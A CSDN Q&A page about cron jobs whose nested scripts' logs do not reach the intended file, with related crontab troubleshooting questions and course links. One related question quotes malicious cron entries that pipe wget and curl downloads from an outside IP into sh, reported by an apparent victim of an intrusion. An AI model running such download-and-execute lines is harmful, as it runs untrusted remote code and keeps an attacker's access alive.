linux crontab 定时任务,定时执行shell脚本,被递归调用的脚本日志未能成功输出至指定文件

crontab -e 中的内容:
nohup sh /shell_route/job_import.sh > /log_route/date +\%Y\%m\%d\%H\%M\%S.log & 2>&1

job_import.sh 是一个管理的脚本,会依次执行其他脚本,执行方式为 sh shell.sh & ./shell.sh

有什么方法可以,在terminal直接执行 nohup 这个语句就可以将递归调用的所有日志都输出至.log 但是在crontab 中定时执行的时候,却只有 job_import.sh 本身的日志可以输出至 .log

求linux大神帮助。百度搜索不到有用信息啊。

1个回答

在脚本里面,每个执行语句后边都加上> xx.log

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
Python+OpenCV计算机视觉

Python+OpenCV计算机视觉

用shell脚本自动添加crontab定时任务问题

有哪位大佬会这个,用shell脚本,将定时备份数据库的shell脚本任务,添加crontab定时任务里去执行,也就是两个shell脚本备份数据库; 定时备份数据库的脚本以写好,另一个脚本不会。 还有查看其它博客好多命令不懂 如: echo "* * * * * hostname >> /tmp/tmp.txt" 什么意思,求告知

Linux下用crontab执行定时python任务报错

下面是我写的定时crontab脚本(之前看了网上的博客所以引入环境变量): 20 19 * * * /etc/profile; /usr/bin/env python /home/Users/model_score.py 查看日志说缺少某个包。 但是外部单独执行 /usr/bin/env python /home/Users/model_score.py 是OK的。 网上查看了大量的资料,基本都说报错缺少包是由于crontab中默认的环境变量和外部不一样导致的,但是我按照方法加入了环境变量了还是报错,请问这个问题到底在哪?哪位大神指点下?谢谢!

Linux crontab定时执行任务

求大神指教,Linux下怎么定义crontab为每3个月早上10点执行一次任务,谢谢

求助关于sh脚本手动可以执行,crontab不能执行的问题

事情是这样的: 今天添加一个定时命令,执行的脚本手动是可以正常执行的,但是crontab不行,于是就百度搜索了一番,基本上都是说环境变量的问题 那么问题来了,我的环境变量导入了的,而且我把这个脚本的内容改成生成文件夹什么的就能定时执行了。(所以这个时候我觉得是脚本有问题,但是脚本手动执行还是正常的) 这个脚本和其他的脚本的区别是 这个sh脚本的内容里引用了其他的.sh脚本,我在想是不是里面用到的.sh脚本也要导入环境变量? 求大神帮忙解决或者给个思路,感激不尽感激不尽!

sqoop导出数据脚本放到 linux定时任务中不执行

功能描述:将hive中的数据到出到mysql。 在linux中,crontab -e中加入定时任务,脚本为test.sh,内容如下: sqoop export --connect jdbc:mysql://192.168.80.101:3306/test --username root --password root \ --table RST_ERR --export-dir /user/hive/warehouse/test.db/rst_err --input-fields-terminated-by '\001' 该脚本使用 ./test.sh ,这种方式可以执行,数据也可以导出到mysql, 但是 写到定时任务中 "30 14 * * * /home/test.sh",这个脚本就不执行了,求教原因,谢谢 急用

linux无法定时执行python脚本,其他的脚本没问题

1、crontab -e (这是我定时的内容) ![图片说明](https://img-blog.csdnimg.cn/20190209165018127.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwMjU4MDkx,size_16,color_FFFFFF,t_70) 2、这是相关文件的列表 ![图片说明](https://img-blog.csdnimg.cn/20190209165215797.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwMjU4MDkx,size_16,color_FFFFFF,t_70) 3、不知道为啥有些就运行报错了 ![图片说明](https://img-blog.csdnimg.cn/20190209165859557.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwMjU4MDkx,size_16,color_FFFFFF,t_70) 4、手动输入python的运行命令是正常运行的,但是写入linux的那个脚本命令就执行错误(但是 date 那个脚本命令就是一直能正常运行,好奇怪,查了很多资料,不知道怎么解决了) ![图片说明](https://img-blog.csdnimg.cn/20190209170040739.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwMjU4MDkx,size_16,color_FFFFFF,t_70)

如何用PHP程序去创建LINux定时任务?

at任务和crontab任务都可以 比如at任务一般创建过程是 执行1.at +时间 回车 2.输入命令 3.按crtl+d 就创建成功了。这是在窗口输入是这样操作,如果用php怎么创建 ? php有system函数可以执行外部命令,但怎么去模拟按下ctrl+d和回车等等。或者这个任务应该是存在一个文件里面的,php可以用更改文件的方式模拟创建at任务,这个文件的位置在哪文件内容相关参数什么?

linux系统crontab定时任务中使用独占锁执行test.sh

linux系统crontab定时任务中使用独占锁解决每时段执行两次test.sh的问题,,求linux大神指教

shell脚本实现定时任务,每天凌晨06点删除 某一目录下日期为前一天的目录和子文件,谢谢啦!

shell脚本实现定时任务,每天凌晨06点删除 某一目录下日期为前一天的目录和子文件

Linux定时任务不执行怎么办?

要定时执行一个脚本,直接vi /etc/crontab,添加如下信息: 05 10 * * * root echo "JBAAAAAa" >> /tmp/test.txt 33 09 * * * root /usr/local/flumeStart.sh 第一个能执行,第二个就是不执行,写的也是绝对路径,单独执行脚本也是没问题的;这是日志: CROND[54236]: (root) CMD ( echo "JBAAAAAa" >> /tmp/test.txt) CROND[15791]: (root) CMD (root /bin/bash /usr/local/flumeStart.sh) CROND[15777]: (root) MAIL (mailed 33 bytes of output but got status 0x0043#012) 这个mail不影响吧?然后我用 crontab -l 查看了任务,发现没有任何任务,然后按照其他解决方法 crontab -e 重新添加任务,这个任务是有了但是照样不执行!!请各位大神看看到底什么原因啊??

linux oracle用户手动执行sh文件可以,利用crontab无法执行

linux oracle用户手动执行.sh脚本正常,执行crontab定时任务提示 #!/bin/bash: No such file or directory。

crontab执行node.js和直接执行的结果不一致。

### 问题描述 使用Node.js的Puppeteer写了一个爬取网站数据的脚本。 并将执行该脚本的命令写入了CentOS的Shell脚本,代码如下: ``` bash cd /home/timleaf/WebScrape && /usr/bin/node reins.js &> crontab.log ``` 然后将Shell脚本,写入crontab,定期执行。 ### Web Scraping ``` bash 30 6 * * * /home/timleaf/WebScrape/scrape.sh ``` 你期待的结果是什么?实际看到的错误信息又是什么? 可以从log中看到,scrape.sh被执行了。 但,不仅是crontab.log中是空的,保存的爬取数据也一样是空的。 而我单独在终端里执行 ``` bash cd /home/timleaf/WebScrape && /usr/bin/node reins.js &> crontab.log ``` 时,却是可以得到正常结果的。 这个问题,我应该从哪里排查。烦请各位指教一下。

Linux服务器莫名自动加入两个定时任务,是不是被入侵了?

wget -O - -q http://45.32.159.84/html/icon.jpg|sh curl http://45.32.159.84/html/icon.jpg|sh crontab定时任务每十五分钟执行一次上面两个命令,删了后,隔不了多久去看又出来了。 求教各位大神是什么原因,是不是服务器被入侵了。

linux crontab每十秒执行怎么写

如题,我按网上办法 * * * * * sleep 10;wall hello * * * * * sleep 20;wall hello * * * * * sleep 30;wall hello * * * * * sleep 40;wall hello * * * * * sleep 50;wall hello 这样写之后,出现了N多进程 ![图片说明](https://img-ask.csdn.net/upload/201511/26/1448530617_707953.png) 请问,该怎么写

linux 中,执行sh脚本时,如何先杀掉当前运行的程序,在重新打开程序

比如我想定时重启 a.jar ,那我就会做一个 SH 脚本,然后做任务计划,定时执行SH脚本; 但是最近发现这样一个问题, a.jar 会卡死,当他卡死的之后,任务计划在执行 SH 时,就没反应了 现在是想,在执行 SH 时,先判断 a.jar 是否运行,没运行,就启动;如果在运行,就杀掉进程,在重新启动。 在线等,该脚本该如何写呢。

linux的定时任务出现问题如何解决?

![图片说明](https://img-ask.csdn.net/upload/201907/11/1562831266_619116.png) crontab -e 出来的内容 前几天是莫名其妙的被清空了,现在是成这样了,各位大神有谁帮小弟解决一下这个问题,谢谢各位了

Crontab不使用cURL执行脚本

<div class="post-text" itemprop="text"> <p>I have a cron that's set to run every ten minutes that works fine if I execute the file manually by entering</p> <pre><code>php register.php </code></pre> <p>But, my cron will not execute this file once it includes anything <code>cURL</code> related. My cron is as follows</p> <pre><code>*/10 * * * * /usr/bin/php /var/www/html/register.php </code></pre> <p>I know that the cron is getting the correct file because at the very top of it, I put php's mail function to send me an email so that I know it was executed. But, anything cURL related will not execute. There aren't any global variables or server variables in the script, so that isn't the reason. I've checked both the crontab and the php error logs and nothing is there pertaining to this issue.</p> </div>

Linux crons是异步还是同步? [关闭]

<div class="post-text" itemprop="text"> <p>I am new to CRONs. I have a doubt whether crontab command schedules a cron <code>asynchronously</code> or <code>synchronously</code>.?</p> <p>What I know and have observed is, the crontab creates a asynchronous process. Irrespective of the last execution, the new <code>cron</code> runs. That is, if I have scheduled a cron task every 2 minutes, then even if the previous execution is not over, a new thread will re-run the file.</p> <p>Am I correct.?</p> </div>

想做一个crontab的定时任务,以前没做过,linux也不太会,告诉下思路,我去百度学习一下。

首先,我这里有服务器的账号密码,PHP语言,想做一个定时任务,定时的去访问一个文件的一个方法,但是我不知道什么思路,比如我是不是要去安装一个虚拟机?在linux系统上面操作这个流程吗?还是其他的思路呢? 大大们给一个让我学习的流程吧,比如说先下载虚拟机-》使用命令创建脚本文件->定时执行脚本。。。。。。。。。。我不懂,我是吓说的,就是想要这么一个格式,我自己去学习一下。。。。。。。 万分感谢

2019 Python开发者日-培训

2019 Python开发者日-培训

150讲轻松搞定Python网络爬虫

150讲轻松搞定Python网络爬虫

设计模式(JAVA语言实现)--20种设计模式附带源码

设计模式(JAVA语言实现)--20种设计模式附带源码

YOLOv3目标检测实战:训练自己的数据集

YOLOv3目标检测实战:训练自己的数据集

java后台+微信小程序 实现完整的点餐系统

java后台+微信小程序 实现完整的点餐系统

三个项目玩转深度学习(附1G源码)

三个项目玩转深度学习(附1G源码)

初级玩转Linux+Ubuntu(嵌入式开发基础课程)

初级玩转Linux+Ubuntu(嵌入式开发基础课程)

2019 AI开发者大会

2019 AI开发者大会

玩转Linux:常用命令实例指南

玩转Linux:常用命令实例指南

一学即懂的计算机视觉(第一季)

一学即懂的计算机视觉(第一季)

4小时玩转微信小程序——基础入门与微信支付实战

4小时玩转微信小程序——基础入门与微信支付实战

Git 实用技巧

Git 实用技巧

Python数据清洗实战入门

Python数据清洗实战入门

使用TensorFlow+keras快速构建图像分类模型

使用TensorFlow+keras快速构建图像分类模型

实用主义学Python(小白也容易上手的Python实用案例)

实用主义学Python(小白也容易上手的Python实用案例)

程序员的算法通关课:知己知彼(第一季)

程序员的算法通关课:知己知彼(第一季)

MySQL数据库从入门到实战应用

MySQL数据库从入门到实战应用

机器学习初学者必会的案例精讲

机器学习初学者必会的案例精讲

手把手实现Java图书管理系统(附源码)

手把手实现Java图书管理系统(附源码)

极简JAVA学习营第四期(报名以后加助教微信:eduxy-1)

极简JAVA学习营第四期(报名以后加助教微信:eduxy-1)

.net core快速开发框架

.net core快速开发框架

玩转Python-Python3基础入门

玩转Python-Python3基础入门

Python数据挖掘简易入门

Python数据挖掘简易入门

微信公众平台开发入门

微信公众平台开发入门

程序员的兼职技能课

程序员的兼职技能课

Windows版YOLOv4目标检测实战:训练自己的数据集

Windows版YOLOv4目标检测实战:训练自己的数据集

HoloLens2开发入门教程

HoloLens2开发入门教程

微信小程序开发实战

微信小程序开发实战

Java8零基础入门视频教程

Java8零基础入门视频教程

相关热词 c# 局部 截图 页面 c#实现简单的文件管理器 c# where c# 取文件夹路径 c# 对比 当天 c# fir 滤波器 c# 和站 队列 c# txt 去空格 c#移除其他类事件 c# 自动截屏
立即提问